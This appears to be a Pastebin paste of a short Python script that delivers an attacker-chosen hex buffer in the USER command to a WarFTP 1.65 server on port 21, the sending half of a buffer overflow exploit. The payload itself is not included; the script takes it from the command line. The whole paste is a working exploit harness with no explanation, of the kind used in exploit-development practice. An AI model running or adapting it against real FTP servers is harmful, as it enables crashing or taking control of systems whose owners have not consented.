Advertisement
Guest User

Untitled

a guest
Nov 16th, 2018
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.60 KB | None | 0 0
  1. #!/usr/bin/python
  2. import socket
  3. import sys
  4. import binascii
  5. import codecs
  6.  
  7. if len(sys.argv) != 3:
  8. print ("Insert the IP Address of WarFTP 1.65 Server and Buffer String")
  9. else:
  10. decode_hex = codecs.getdecoder("hex_codec")
  11. IP_Address = str(sys.argv[1])
  12. buffer = sys.argv[2].replace('\\x', '')
  13. buffer_in_ascii = buffer.decode("hex")
  14. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  15. connect=s.connect((IP_Address,21))
  16. response = s.recv(1024)
  17. print (response)
  18. s.send('USER ' + buffer_in_ascii + '\r\n')
  19. response = s.recv(1024)
  20. print (response)
  21. s.send('PASS PASSWORD\r\n')
  22. s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement